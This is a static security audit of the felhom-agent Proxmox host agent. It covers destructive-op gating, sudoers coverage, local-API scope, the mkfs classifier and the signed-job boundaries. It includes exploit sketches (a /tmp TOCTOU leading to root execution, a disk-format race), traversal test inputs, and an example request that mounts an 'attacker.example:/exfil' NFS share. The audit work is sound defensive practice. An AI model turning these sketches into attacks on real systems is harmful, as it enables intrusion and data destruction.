felhom.eu/documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md

# AUDIT — host-root + local-API blast radius (the axes the pool campaign did not cover)

**Class:** Audit (static source trace + non-destructive verification). **Output is a findings doc — no agent
code was written, no version bumped, no branch opened.**
**Subject:** `felhom-agent` @ `main` = **`cc93dae` / v0.60.0** — read-only.
**Prompt baseline note:** the prompt was authored against `55ade9e2` / v0.59.0; `main` had already advanced
to **v0.60.0** (`b9356d6` + `cc93dae`) when this audit ran. **That is material to Strand A:** v0.60.0 is the
commit that FIXED campaign-F1 (proof-of-launch destroy gating, F1a/b/c). This audit therefore *verifies the
F1 fix* and hunts F1-siblings, rather than re-reporting F1 as open. Landmark line numbers in the prompt were
reconfirmed against v0.60.0 source; where they shifted, the cited `file:line` is the v0.60.0 value.
**Host:** felhom-pve (`demo-felhom`, 192.168.0.162) — **not touched** (see §5; the audit was 100% static, no
live probe was needed to reach a verdict).
**Method:** static source trace of the agent, cross-referenced against the stated trust boundaries in
`documentation/architecture/{01,03,04}` and the sudoers/wrapper configs. Five strands (A–E), each
independently traced, then the HIGH/MED-candidate findings re-verified by a second read of the cited source.

> **This audit does NOT re-cover the Proxmox-API-token axis** — the privilege map, pool containment,
> out-of-pool 403s, and ListLXC pool-blindness (B1–B4) are shipped and validated in
> **`CAMPAIGN-pool-effects-2026-07-01.md`** + **`SPIKE-pool-scoped-acl-2026-07-01.md`**. Those are cited, not
> repeated. Campaign findings **F1–F6** are treated as known; this audit *extends* F1/F5 and adds new,
> distinct findings on the other four axes.

## Headline

**No new HIGH or MED findings.** The four un-audited axes are in good shape:

- **Strand A (provenance):** the v0.60.0 F1 fix is **complete and airtight** for all four `DestroyLXC` paths.
  One F1-sibling remains (stale-lock recovery, LOW) — contained by the pool ACL today, re-arms only under a
  future broad/root token.
- **Strand B (sudoers ↔ fine-gate):** the sudoers header's global claim ("the agent fine-validates every
  value before exec") **holds for all 10 aliases as wired**. Residuals are host-local defense-in-depth
  (fixed-name `/tmp` staging, LOW; un-self-gated bind helpers, INFO).
- **Strand C (local-API within-scope):** identity self-scoping is structurally sound (the token's vmid is
  the only vmid ever used for an op). Storage-op *targets* are property-gated (role / data-bearing /
  namespace / regex), not ownership-bound — three INFO residuals (controller-swap downgrade; attacker-NAS
  mount; advisory dependent-guest scan = F5).
- **Strand D (mkfs / claim classifier):** fail-safe on every gather **error** path; the pvs/zpool trichotomy
  is correct. Three real weaknesses (all INFO/LOW): the guarded wrapper is an asymmetric subset of the
  classifier; `classifyClaim` reads an empty-but-successful lsblk as unclaimed; the blank-format path lacks
  the anti-retarget re-resolution AGENT-001 added to the data-bearing branch.
- **Strand E (signed vs self-serve):** the boundary holds — signed executors are unreachable from the local
  API, nonces are durable + single-use + burned-before-execute, the operator key and escrow code are kept
  off the host. Two INFO comment/redundancy notes.

**Nothing hard-blocks the shared-box colleague trial** (every residual is contained by the pool-scoped token
the trial ships with). The one item to close **before any broad/root-token deployment** is the stand-alone
F1-sibling A1 (stale-lock reaper).

---

## Strand A — Provenance-gating of destructive host ops (generalizes campaign-F1)

**Verdict:** the v0.60.0 fix is complete for the four LXC-destroy paths. The reversibility gate remains a
provenance *pass-through* (by design). One F1-sibling (stale-lock recovery) is pool-blind and re-arms under
a broad token.

| Destructive op | Call site (file:line) | Gated on "this txn created/owns the target"? | Backstop if compromised | Verdict |
|---|---|---|---|---|
| `DestroyLXC` — bring-up rollback | `internal/reconcile/bringup.go:369` (`rollbackBringUp`; defer `bringup.go:210-219`) | **YES** — `launched` set only after `RestoreLXC` returns a UPID (`bringup.go:234`); `!launched` defer closes `OpFailed` w/o destroy (`:214-216`) | pool ACL + gate `Authorize` (`:363`) | **safe (F1a fixed)** |
| `DestroyLXC` — restore-test teardown | `internal/reconcile/restoretest.go:412` (`teardownScratch`; defer `:186-192`) | **YES** — `launched` after UPID (`:243`); `!launched` → no destroy (`:187-191`) | pool ACL + gate (`:406`) | **safe (F1b fixed)** |
| `DestroyLXC` — recover leaked scratch | `internal/reconcile/recover.go:144` (`recoverScratch`) | **YES** — `entry.UPID==""` abandon check hoisted **before** the Scratch dispatch (`recover.go:46-52` → `:59`) | pool ACL + `ListLXC` existence check + gate (`:136`) | **safe (F1c fixed)** |
| `DestroyLXC` — recover half-built bring-up | `internal/reconcile/recover.go:203` (`recoverBringUp`) | **YES** — same `UPID==""`-first check (`:46-52` → `:69`) | pool ACL + existence check + gate (`:195`) | **safe (F1c fixed)** |
| `Stop` (reconcile `ActionStop`) | `internal/reconcile/engine.go:173` | N/A — benign/reversible class (`ClassStop`, `classify.go`); planner unfed (EmptyProvider) | reversible (Start) | safe |
| `Rollback` (snapshot, self-serve) | `internal/localapi/server.go:482` | self-scoped: `scopedFromBody` pins vmid=token (`:474`); not gate-routed | per-guest token scope | safe (self-scoped) |
| `pct unlock` + `DeleteVzdumpSnapshot` + `Start` (stale-lock recovery) | `internal/localapi/stalelock.go:200`/`:208`/`:220`; reaper scans **all** guests via `ListLXC` (`:159-161`) | **NO** — acts on pre-existing guests found by a **pool-blind** scan; guard = lock-allowlist (`:27-30`) + no-vzdump-in-flight (`:87-97`), not ownership | **pool-scoped ACL only** | **F1-sibling (A1, LOW)** |
| `Format`/mkfs (signed wipe) | `internal/signedjobs/wipe.go:106` | YES (resource) — durable-id resolve+re-derive+re-inspect (`wipe.go:74-99`) + `deviceUnclaimed` (`hostops.go:449`) + guarded wrapper (`:456`) | operator sig + unclaimed guard + wrapper | safe |
| `Format`/mkfs (customer-confirmed / blank, local-API) | `internal/localapi/disks.go:727` (confirmed) / `:681` (blank) → `formatjob.go:116` | confirmed: durable-id-bound + re-resolve (`disks.go:697-714`); **blank: NOT re-resolved** — see Strand D (D3) | unclaimed guard + wrapper + role gate | safe (blank path = D3 caveat) |
| `Vzdump` + `--prune-backups` | `internal/backup/runner.go:133` | vmid+storage-scoped, keep-last=N, local only, never PBS | self-vmid scope | safe |
| `Unmount` (systemctl stop/disable `.mount`) | `internal/storage/hostops.go:331-339` (eject/decommission callers) | role-gated to user-data (`disks.go:404-408`), self-scoped; reversible | role gate + self-scope | safe |
| `DetachBind` (`pct set --delete mpN`) | `internal/localapi/guestbind.go:88` (from `disks.go:432`) | self-scoped vmid + user-data role gate; data stays on drive | role gate + self-scope | safe |
| `pct reboot` | `internal/localapi/guestbind.go:101` (from `disks.go:524`) | self-scoped (`withGuest`+`scopedFromBody`) | token scope | safe (self-DoS only) |
| `SetDecommissioned` (signed decommission) | `internal/signedjobs/decommission.go:75` | metadata-only intent write; no destroy/detach/format | operator sig + durable-id binding | safe (not destructive) |
| `rsync --delete` | — none in `internal/` (only a doc-comment in `hub/dr_recipe.go`) | N/A | N/A | **confirmed absent** |

**F1 fix — airtight.** `launched`/`entry.UPID` derives destroy authorization from a real `RestoreLXC` UPID
rather than from vmid-existence + the ACL. A synchronous restore refusal ("already exists", no UPID)
provably cannot reach a `DestroyLXC`. The accepted residual (a crash in the one-statement window between
obtaining the UPID at `bringup.go:234`/`restoretest.go:243` and journaling it at `:235`/`:244`) leaks a
half-built guest Recover won't reap — by design, and strictly preferable to destroying an innocent guest
(CHANGELOG v0.60.0 "Accepted residual").

**A2 (INFO, architectural) — the gate does not verify provenance; it consumes it.** `Gate.Authorize`
genuinely *blocks* (a Destructive disposition with no signed op → `pending_signature`, `gate.go:146-150`),
but `Classify` trusts whatever `Provenance` the intent carries (`gate.go:135`), and that provenance is
hardcoded by the call-site constructors `IntentForRollbackDestroy` (`SameTxnCreated:true`) /
`IntentForScratchDestroy` (`AgentTaggedScratch:true`). There is no cross-check against the journal/UPID
inside the gate. **This is exactly why campaign B1.3 saw a rollback-destroy classed benign while the guest
pre-existed** — the pre-v0.60.0 call site asserted `SameTxnCreated:true` unconditionally and the gate
faithfully honored it. v0.60.0 fixes the **call sites**, not the gate; the whole guarantee now lives in the
`launched`/UPID discipline. Defensible (provenance is a caller-supplied, journal-derived fact the gate can't
independently reconstruct), but it means the reversibility gate is effectively decorative for these
self-authored teardowns — a future mislabel at a constructor would sail through. Worth a comment/guard, not
a blocker. Duplicate-adjacent to F1's root cause.

**A1 (LOW, F1-sibling; extends F1, relates F6) — stale-lock recovery reaps by pool-blind scan, not
ownership.** `RecoverStaleLockedGuests` (`stalelock.go:58`) iterates **every** guest from `ListLXC`
(`:159-161`) at startup and, for any guest whose lock is in `{backup, snapshot-delete}` (`:27-30`) with no
in-flight vzdump (`:87-97`), runs `pct unlock` (`:200`), deletes the vzdump snapshot (`:208`), and starts
the guest if `onboot` (`:220`). Ownership is *assumed*, not proven. Contained today because the pool-scoped
token makes `ListLXC` pool-only — precisely the containment F6 relied on.
*Exploit sketch (exploit fully sequenced; precondition — a broad/root token — does not exist today, so
verdict is LOW not HIGH):* shared host, agent redeployed with a broad token (F1's "re-arms it" precondition)
→ a co-tenant's own backup tool leaves non-felhom guest 5000 with `lock: snapshot-delete` + a vzdump
snapshot, in the window before its vzdump task is visible (so `BackupRunning` returns false, `:171-184`) →
agent restart → reaper unlocks 5000, deletes its snapshot, force-starts it → the neighbor's in-progress
backup is corrupted/aborted and its guest force-started. No felhom-customer data destroyed (hence LOW, not
HIGH like F1). **Fix before any broad-token deployment:** restrict the scan to felhom-pool membership (or a
fenced-root `pct list` cross-checked against the pool).

**Negative tests.** The F1 red-proof companions already exist (`TestRunBringUp_NoLaunchNoDestroy`,
`TestRunRestoreTest_RestoreNoLaunchNoTeardown`, `TestRecover_{BringUp,Scratch}NoUPIDAbandoned`). Missing:
`TestStaleLock_ForeignGuestNotReaped` — seed a non-pool guest with a stale lock + snapshot + no running
vzdump, wire a broad-token fake, assert `Unlock`/`DeleteVzdumpSnapshot`/`Start` are **not** invoked.

---

## Strand B — OS-root sudoers surface ↔ in-agent fine-gate coverage

**Verdict:** the sudoers header's global claim holds for every one of the 10 aliases as currently wired.
Every wildcard value reaching a `sudo -n` arg vector is (a) run through a validator before the vector is
built, (b) an `int`-typed vmid, or (c) a fixed literal. Exec is always an arg vector (`privileged.go:61-71`),
never a shell string, so a validated value cannot inject. Residuals are host-local defense-in-depth, none
reachable within the in-guest/cross-customer (F1–F6) threat model.

Representative coverage (full per-grant trace held in the working notes; every grant confirmed gated):

| Alias / grant (wildcard) | Constructing call site (file:line) | Fine-gate (file:line) | Un-validated value reachable? |
|---|---|---|---|
| MOUNT `systemctl stop/disable -- *.mount` | `storage/hostops.go:336,339` (`Unmount`) | `UnitNameForMount(where)` → `ValidateMountPath` (`hostops.go:332`, `validate.go:156,83`) | No |
| DISK `smartctl … /dev/sd[a-z]*` | `storage/hostops.go:351` | `ValidateSMARTDevice` (`hostops.go:348`, `validate.go:112`) | No |
| DISK `lvs … -- *` | `storage/hostops.go:371` | `ValidateLVMName` ×2 (`hostops.go:362,366`) | No |
| PROVISION `chown -R 100000:100000 …/guests/*` | `provision/backhalf.go:145` | path = `join(stateDir,"guests",itoa(vmid),"bootstrap")`, vmid `int` (`:134`) | No |
| FORMAT `felhom-mkfs-guarded /dev/* *` | `storage/hostops.go:456` | `ValidateBlockDevice`+`ValidateFSType`+`deviceUnclaimed` (`:439,442,449`) + wrapper re-check | No |
| DNSMASQ `install /tmp/felhom-resolver-*.conf …` | `lanresolver/lanresolver.go:266` | src = `os.CreateTemp` random (`:255`); dest via `sanitize(customerID)` (`:72`) | No |
| GUESTHOOK `install -- /tmp/felhom-guest-hook.sh …/snippets/…` | `guesthook/install.go:45` | fixed dest; **fixed /tmp name** (`:40`) — see B1 | No value; TOCTOU |
| GUESTHOOK `pct set [0-9]* --delete mp[0-9]*` | `localapi/guestbind.go:88` | vmid `int`; slot `mpN` from `guestSlotForPath` | No |
| INTERMEDIARY `mount --bind /mnt/*/felhom-data /mnt/felhom-drives/*` | `localapi/intermediary.go:222` | both `*` derived from one `validGuestMountPath`-checked `where` (`disks.go:534`) | No (caller-gated; B3) |
| INTERMEDIARY `install -- /tmp/felhom-shared-parent.sh …` | `localapi/intermediary.go:154,162` | fixed dest; **fixed /tmp name** (`:149,157`) — see B1 | No value; TOCTOU |
| CONTROLLERSWAP `docker image inspect *` | `localapi/controllerswap.go:139` | `ValidControllerImage` (`:324,38`, regex `:35`) | No |
| STALELOCK `pct unlock [0-9]*` | `localapi/stalelock.go:200` | vmid `int` from API `Guests()` | No (but see Strand A A1 for the *scan*, not the arg) |
| NETMOUNT `rm -f /etc/systemd/system/mnt-felhom*` | `storage/netmount.go:416,419` | `reShareName` (`:399`); escaped unit always begins `mnt-felhom` | No |

**B1 (LOW — fixed-name `/tmp` staging TOCTOU; new, host-local).** `guesthook/install.go:40`
(`/tmp/felhom-guest-hook.sh`) and `intermediary.go:149,157` (`/tmp/felhom-shared-parent.sh` + `.service`)
stage root-executed scripts through **fixed, predictable** `/tmp` names via `os.WriteFile` (O_CREATE, no
O_EXCL, follows symlinks), then `sudo install` them to a root-executed location (a PVE hookscript run at
guest pre-start; a boot-time `ExecStart` script). `lanresolver.go:255` does this correctly with
`os.CreateTemp` (random name) — the two above do not.
*Exploit sketch (sequenced; precondition = a second non-root local account on the Proxmox host, which the
standard Felhom host — root + `felhom-agent` only — does not provision, so LOW):* a local non-root user
pre-creates `/tmp/felhom-guest-hook.sh` (owning it) → the agent's `os.WriteFile` opens/truncates the
attacker-owned file and writes the snippet → the attacker rewrites the content between the agent's close and
root's `install` → root copies attacker content into `/var/lib/vz/snippets/felhom-guest-hook.sh`, executed
as **root** at the next guest pre-start. The sticky bit on `/tmp` blocks a *different* user from replacing
the agent's file after creation, but not pre-creation of the predictable name. **Outside the F1–F6 threat
model** (customer code runs in an unprivileged LXC and cannot see the host `/tmp`); relevant only if a
colleague has a non-root shell on a shared box. **Fix:** mirror lanresolver's `os.CreateTemp`.

**B2 (INFO — bind helpers don't self-reject `..`).** `GuestBinder.AttachDrive`/`DetachDrive`
(`intermediary.go:187,347`) do not self-validate `where` for traversal — `DriveNameFromRaw` (`:80`) rejects
`/`, space, tab but **not** `..`. Safe today only because both callers gate (`validGuestMountPath`
`disks.go:534` for attach; `roleForMountPath` exact-match `disks.go:353,404` for detach). A future third
caller that skipped the gate would regress it. Defense-in-depth gap.

**B3 (INFO — coarser-than-needed wildcards).** The INTERMEDIARY bind's two `*` are grammatically independent
in sudoers though the code always derives both from one validated `where`; CONTROLLERSWAP's
`docker image inspect *` is broader than the single `controllerImageRe`-validated ref the agent ever sends.
Code-tied today; could be pinned tighter (least-privilege).

**B4 (INFO — `privileged.go` forms absent from sudoers, fail-closed).** `internal/proxmox/privileged.go`
retains `CreateGoldenLXC`→`pct create` (`:136`), `MountUSBByUUID`→`mount UUID=…` (`:148,151`),
`Sensors`→`sensors -j` (`:181`). None appear in the sudoers file, so under the non-root `RunnerSudo` model
these `sudo -n` calls are **denied → fail-closed**. The manifest comment (`capability/manifest.go:29-37`)
explicitly excludes them as not-required. Capability/documentation gap, no escalation.

**B5 (INFO — dead grant).** `systemctl reload dnsmasq` (sudoers `:61`, manifest `dnsmasq-reload`) is never
called — the code deliberately uses `restart` (`lanresolver.go:242`). Harmless; drop it.

**NoopHostOps (Q4) — always fail-safe.** Every degrade path returns an explicit error or a safe sentinel
(`SMART`→UNKNOWN; `InspectDevice`→`Probed=false` ⇒ `DataBearing()=true` ⇒ a later format is refused). No
silent destructive success anywhere (`hostops.go:540-557`). Surfaces with no Noop fallback fail-closed via a
non-zero `sudo -n` exit.

**Manifest ⊆ sudoers (Q5).** `TestManifestCoveredBySudoers` (`manifest_test.go:122`, with dropped-grant
red-proofs) proves the *presence* direction. Missing: the adversarial *unreachability* direction for the
non-`SudoHostOps` wildcard constructors.

**Negative test (names the gap).** `TestWildcardGrantsUnreachableWithUnvalidatedInput` — a table over every
sudoers wildcard, each row driving the *public* entry point (e.g. `handleDiskGuestAttach` with
`where="/mnt/../etc"`, `POST /controller/swap` with `image="evil"`) against a recording runner, asserting
(1) refusal and (2) no arg vector matching that alias's pattern. Today only `SudoHostOps` has an equivalent
(`TestHostOps_RejectsHostileArgsBeforeExec`, `validate_test.go:130`); `GuestBinder`, `ControllerSwapper`,
`lanresolver`, `netmount`, `stalelock` do not. This test would convert the header's global claim from
asserted to proven and would immediately flag B2 if a handler gate were removed.

---

## Strand C — Local-API within-scope host blast radius

**Verdict:** identity self-scoping is structurally sound — the token's vmid is the only vmid ever used for a
proxmox op (`server.go:365`); every body/query vmid is a pure consistency check (`server.go:357-364`,
`scopedFromBody` `:381-389`) that 403s on mismatch and is never substituted in. **No handler re-reads
`req.VMID` and uses it for the op** (traced: `handleSnapshot` `:450`, `handleRollback` `:482`, `handleBackup`
`:521-545`, `handleGuestReboot` `disks.go:524`, `handleControllerSwap` `controllerswap.go:355`). The
within-scope surface is wide because storage-op **targets** (`device`, `where`, `server:export`, `image`)
are caller-supplied and gated by *properties* (role / data-bearing / namespace / regex), not ownership-bound
to the guest — acceptable on a single-tenant box.

| Endpoint (route → handler file:line) | Worst host effect for OWN guest | Gate beyond self-scope | Residual |
|---|---|---|---|
| `POST /disks/format` (`server.go:282` → `disks.go:650`) | mkfs a blank device, or a customer-confirmed user-data device | agent device-inspection not caller claim (`disks.go:672`); role tier (`:702`); durable-id-bound confirm (`:714`); **`deviceUnclaimed`+`MkfsGuarded`** (`hostops.go:449,456`) | system/backup → operator-sig only; **cannot reach raw mkfs** (confirmed chain); blank path = D3 |
| `POST /disks/eject` (`server.go:280` → `disks.go:332`) | detach a user-data drive's bind (data preserved) | user-data role gate, fail-safe→system (`disks.go:353-358`) | dependent-guest scan **advisory only** (`:359,375`) = **F5** |
| `POST /disks/decommission` (`server.go:281` → `disks.go:386`) | logically retire + detach a user-data drive (no mkfs, `disks.go:442`) | same user-data role gate (`:404-409`) | same advisory scan (F5); self-DoS of own drive |
| `POST /controller/swap` (`server.go:296` → `controllerswap.go:312`) | restart bootstrap onto a chosen felhom-controller semver | **`controllerImageRe` host+repo pinned** (`:35,324`); `imagePresent` (`:244`) | **version downgrade (C1)** |
| `POST /netstorage/add` (`server.go:291` → `netstorage.go:53`) | root-mount an arbitrary NAS host-side under `/mnt/felhom-drives/*`, propagated into guest | namespace role gate (`netstorage.go:68-74`); `ValidateNetworkMountSpec` (`netmount.go:125`); creds path agent-set (`netstorage.go:88-94`) | **attacker-NAS mount (C2)** |
| `POST /guest/reboot` (`server.go:287` → `disks.go:502`) | reboot own guest (`disks.go:524`) | vmid = token | self-DoS only; **no host-reboot primitive exists** |
| `POST /snapshot` `/rollback` `/backup` `/disks/assign` `/disks/guest-attach` `/netstorage/remove` | own-guest snapshot/rollback/backup/mount/bind churn | charset/namespace validators; vmid = token | LOW/INFO self-inflicted |

**C1 (INFO, suspected — controller-swap version downgrade; new).** `controllerImageRe`
(`^gitea\.dooplex\.hu/admin/felhom-controller:[0-9]+\.[0-9]+\.[0-9]+$`, `controllerswap.go:35`) is anchored
and **pins the registry host + repo** — no look-alike-registry, digest, or metacharacter bypass exists (I
reconfirmed the regex verbatim). But it accepts **any** semver; "latest-only" is enforced *only* caller-side
(comment `:24-25`), not by the agent. A compromised controller could `docker pull …:<old-vuln-ver>` then
`POST /controller/swap {"image":"…:0.40.0"}` → the agent rewrites `/etc/felhom-controller-image` and
restarts the bootstrap unit (`:143-157,252-261`), running the downgraded image as the controller. It cannot
run a *non-felhom* image, and the compromised controller already owns the guest's docker socket, so this is
a downgrade-to-vulnerable within its own guest, **not** a host escalation. INFO. *Fix option:* an agent-side
minimum-version floor.

**C2 (INFO, suspected — attacker-NAS host-side mount; new).** In `ValidateNetworkMountSpec`, `Server` is
constrained only by `reNetServer = ^[A-Za-z0-9._:-]+$` (`netmount.go:100,134`) — any hostname/IP with no
metacharacters; `Export` is a safe path/segment. The mountpoint is namespace-locked under
`/mnt/felhom-drives` (`netmount.go:106-108`, re-checked `netstorage.go:68-74` and `netmount.go:344-346`), and
the `credentials=` path is **agent-set, not caller-controllable** (`netstorage.go:87-95` — there is no
caller `CredsRef` field, so the "creds pointing at a host file" attack is *closed*). What's free is the
`server`/`export`: `POST /netstorage/add {"protocol":"nfs","server":"attacker.example","export":"/exfil",…}`
→ the agent installs a root-triggered `.mount`/`.automount` for `attacker.example:/exfil` propagated into the
guest. Worst case: (a) an attacker-controlled filesystem visible to the guest's media apps (exfil/poison
target — only marginally novel since the guest already has network egress), and (b) the **host kernel
NFS/CIFS client now talks to a hostile server** as root — a kernel-client attack surface. INFO. *Fix
option:* an operator/allowlist gate on NAS server addresses for the shared-box case.

**C3 = campaign F5 (duplicate, not new).** `dependentGuests` (`disks.go:1026-1059`), called by eject
(`:359`) and decommission (`:410`), only **returns** dependent VMIDs for a UI warning (`:375,443`) — it never
blocks the detach. Harmless single-tenant; the shared-box residual is already tracked as F5.

**Negative tests.** (1) per mutating handler: body/query `vmid=token+1` → 403 with zero downstream call, and
matching-vmid → mock called with the *token's* vmid; an AST guard that no handler references `req.VMID` after
`scopedFromBody`. (2) `ValidControllerImage` reject-corpus (look-alike host, digest, `…:latest`, second tag)
+ a **downgrade** assertion documenting `…:0.1.0` is currently accepted. (3) `ValidateNetworkMountSpec`
rejects metachar `server`, `..` `export`, escaping `where`; assert no caller-settable `CredsRef`.
(4) `handleDiskFormat` on a claimed device drives `SudoHostOps.Format` to the `deviceUnclaimed` refusal with
zero `MkfsGuarded` exec.

---

## Strand D — mkfs / claim.go classifier robustness

**Verdict:** `classifyClaim` (`claim.go:61-89`) is fail-safe on **every gather ERROR path** (`gatherErr`,
`!wholeDiskOK`, `isSystem`, `readonly` all refuse first, `:62-73`) and the pvs/zpool present/absent/error
trichotomy is correct (absent ⇒ lsblk FSTYPE backstop; present-but-erroring ⇒ fail-safe claimed,
`:145,163`). The symlink question is clean: no by-uuid symlink reaches mkfs — every device string is either
`ValidateBlockDevice`-constrained to a raw node or an `EvalSymlinks`-canonical node, and the wrapper's `-L`
reject (`felhom-mkfs-guarded.sh:24`) is a third backstop. Three real weaknesses:

**Gate side-by-side (what each catches, confirmed by reading both fully):**

| Claim class | `classifyClaim` (file:line) | wrapper `felhom-mkfs-guarded.sh` | Symmetric? |
|---|---|---|---|
| gather error / undeterminable topology | refuse (`claim.go:62-67`) | n/a (no notion of agent reads) | agent-only |
| OS/system disk (`/`,`/boot`,`/boot/efi`) | `isSystem` fail-safe (`claim.go:68-70`) | YES — `/proc/mounts` whole-disk match (`:31-39`) | **both** |
| read-only device (`/sys/.../ro`) | refuse (`claim.go:71-73`) | **NO** | agent-only |
| LVM physical volume | pvs + lsblk `LVM2_member` (`claim.go:74-76,80-82`) | YES *iff* `command -v pvs` (PATH, not abs) succeeds (`:42-49`) | partial |
| ZFS pool member | zpool + lsblk `zfs_member` (`claim.go:77-82`) | **NO** | agent-only |
| mdraid / LUKS / swap member | lsblk FSTYPE (`claim.go:80-82`, `memberFSTypes`) | **NO** | agent-only |
| mounted outside `/mnt/felhom-drives` | node check (`claim.go:84-86`) | YES — lsblk MOUNTPOINT (`:53-59`) | **both** |
| symlink / by-uuid passed to mkfs | `ValidateBlockDevice` (`validate.go:122`) | YES — `-L`/`-b`/`..` (`:21-24`) | **both** |

**D1 (LOW — the guarded wrapper is an asymmetric subset; new, defense-in-depth).** The wrapper — whose
entire purpose is to stop a *buggy/bypassed agent* (`.sh:5-9`) — re-checks only system-disk, LVM-PV (and only
if `command -v pvs` resolves on PATH), and foreign-mount. If `classifyClaim` were bypassed, the wrapper would
happily `mkfs` a ZFS vdev, an mdraid member, a LUKS container, an active-swap disk, or a read-only disk. The
primary guard covers all of these; the second gate does not. I independently reconfirmed this against the
wrapper source. *Fix:* add zfs_member/mdraid/LUKS/swap FSTYPE + `/sys` ro re-checks to the wrapper, and use
an absolute `pvs` path (not `command -v`).

**D2 (INFO — `classifyClaim` reads an empty-but-successful lsblk as unclaimed; new, fail-safe hole).** A
successful `lsblk` returning `{"blockdevices":[]}` yields zero nodes; the member/mount loop (`claim.go:80-88`)
is skipped and `classifyClaim` returns `true,"unclaimed"`. There is **no `len(nodes)==0` guard and no
assertion the target whole-disk appears among the nodes** (confirmed by reading `:80-89`). Fail-safety here
rests on the untested assumption that real `lsblk` always *errors* (non-zero exit) on a bad device rather
than emitting empty success — a gap in the "undeterminable ⇒ claimed" invariant. Pure-fn repro:
`classifyClaim(claimFacts{device:"/dev/sdd", wholeDisk:"/dev/sdd", wholeDiskOK:true, nodes:nil})` →
`(true,"unclaimed")`. *Fix:* refuse when `nodes` is empty or the target whole-disk is absent from the tree.

**D3 (INFO, suspected — blank-format path has no anti-retarget re-resolution; new, sharpest).**
`handleDiskFormat` inspects `req.Device`; on `!probe.DataBearing()` it calls
`startFormatDetached(req.Device, "", fstype)` → `Format(req.Device)` on the **mutable `/dev` path**
(`disks.go:672-691`) — it does **not** re-resolve a durable id. AGENT-001 (v0.30.0) closed exactly this
TOCTOU on the *data-bearing* branch (`wipe_reresolve.go`) but left the blank branch on the raw path. `Format`
itself has no independent `DataBearing` gate — it only calls `deviceUnclaimed` (confirmed `hostops.go:438-461`),
and its own comment (`:447`) asserts "the caller re-resolves the durable-id first" — **a precondition the
blank path violates.** *Exploit sketch (suspected — needs a sub-second `/dev` reassignment):* a USB
re-enumeration reassigns `/dev/sdX` between `InspectDevice` (`disks.go:672`) and the mkfs; if the disk now at
that node is a data-bearing-but-*unclaimed* filesystem (a bare ext4/xfs/ntfs with real data, unmounted, no
LVM/ZFS/RAID/LUKS — which `classifyClaim` passes because those FSTYPEs are not in `memberFSTypes` and it's
not mounted, and the wrapper passes because it's not system/PV/mounted), it is formatted with **neither** the
DataBearing customer-confirm **nor** any durable-id binding. Same class AGENT-001 closed, left open on the
benign branch under the "a blank device has nothing to destroy" assumption that breaks under re-enumeration.
*Fix:* give the blank branch the same durable-id re-derive as the confirmed branch (`disks.go:714`).

**Note (by design, not a hole):** an unmounted ext4/ntfs-with-data disk *is* "unclaimed" per `classifyClaim`
(test asserts this) — acceptable **only because** every production caller enforces `DataBearing()` above
`Format` (`disks.go:677` blank-gate, `wipe.go:95`, `wipe_reresolve.go:53`). D3 is the one place a race
defeats that reliance.

**Negative tests.** `TestClassifyClaim_EmptyNodesRefused` (D2), `TestClassifyClaim_TargetAbsentFromTree`,
`TestGuardedWrapper_RefusesZfsMdraidLuksSwap` + `TestGuardedWrapper_PvsNotOnPath` (D1),
`TestFormatBlankPath_AntiRetarget` (D3).

---

## Strand E — signed-job vs self-serve destructive boundary

**Verdict:** the boundary holds. The two operator-signed destructive executors (`WipeExecutor`,
`DecommissionExecutor`) are constructed only in `cmd/felhom-agent/main.go:522-528` and handed solely to
`NewRunner` (driven by the hub jobs queue) — **there is no local-API route to either.** The locked authz
pipeline (namespace → key-material allow-list → crypto over raw bytes → host target → time window → durable
single-use nonce) plus gate role-scoping + action binding fronts every signed op.

| Destructive op | Signed-only? (file:line) | Self-serve reachable w/o sig? | Nonce replay-safe? (file:line) | Verdict |
|---|---|---|---|---|
| Wipe (mkfs) system/backup device | YES — `gate.go:227-229` → `Authorize` → `pending_signature` (`:146-150`); role is agent's, `Confirmed` ignored | NO | YES — burned last in `Verify` (`verifier.go:157-160`), fsync'd (`noncestore.go:117-135`) | SOUND |
| Wipe (mkfs) user-data device | NO — customer-confirmable by design (`gate.go:210-225`), durable-id-bound | YES, but only user-data role + confirm bound to agent-re-resolved id (`gate.go:216-222`) | N/A (durable-id binding) | SOUND (intended tier) |
| `storage_wipe` signed job | YES — only in `ExecutorChain` off hub queue | NO route | YES — burned pre-execute (`runner.go:145-166`) | SOUND |
| decommission (protected drive) | YES for system/backup (signed) | NO for system/backup (role 403 `disks.go:404-409`); user-data self-serve retire is non-destructive/reversible | YES (signed path) | SOUND (see E1) |
| guest_destroy / restore_overwrite / key_rotation | YES — Destructive class, role-scoped (`gate.go:254-259`) | NO route | YES | SOUND |

**Zero-knowledge posture confirmed.** The agent stores **public keys only** (`config.go:359-371` →
`AllowedSigner{PublicKey}` `verifier.go:35-53`); signing happens off-host in `felhom-opsign` via
`ssh-keygen -Y sign` (`opsign/main.go:157`); the escrow recovery code is taken by-hand from the customer,
unwrapped only in a 0700 tempdir that is always `RemoveAll`'d, never logged (`escrow/consume.go:23-79`).
**Signature binds op+target:** the canonical blob covers `params` (incl. `durable_id`) and `Verify`
authenticates over the raw received bytes (`verifier.go:123-134`), so a signature for wiping id X cannot
verify for Y; the `WipeExecutor` additionally re-resolves + re-derives + re-inspects before mkfs
(`wipe.go:74-99`).

**E1 (INFO — comment drift).** `decommission.go:31-35` claims the `IntentDecommissioned` state is reachable
"ONLY via a gate-verified operator signature," but `handleDiskDecommission` reaches the same
`SetDecommissioned` self-serve (`disks.go:414`). Not an escalation (self-serve is user-data-only,
non-destructive, reversible); comment correction only.

**E2 (INFO — redundant check).** For the one-shot-job path, `bindsToAction` (`gate.go:265-276`) compares the
verified op against an Intent built from the *same* decoded blob (`runner.go:125-133`) — its guest/op/params
checks are tautological; the real anti-retarget control is the signature covering `params` + the executor's
durable-id re-resolution. Worth noting so a future refactor doesn't mistake `bindsToAction` for the one-shot
binding control.

**Negative tests.** Replayed nonce → `ErrReplay` (incl. after restart); mutated-`params` blob →
`ErrBadSignature`; `POST /disks/format {confirmed:true}` on a system/backup data-bearing device → 403
`PendingOp`, no mkfs; `POST /disks/decommission` on system/backup → 403; unsigned/no-verifier destructive
job → `pending_signature`; `guest_destroy` signed with the cold recovery key → `ReasonRoleDenied`.

---

## Prioritized fix list

Ranked by real, exploit-backed severity. Per the audit discipline, "suspected — no exploit constructed" caps
at INFO; findings whose exploit *is* fully sequenced but whose precondition does not exist today are LOW.

| # | Sev | Finding | Recommended fix | Relation to campaign F1–F6 | Blocks shared-box trial? |
|---|-----|---------|-----------------|----------------------------|--------------------------|
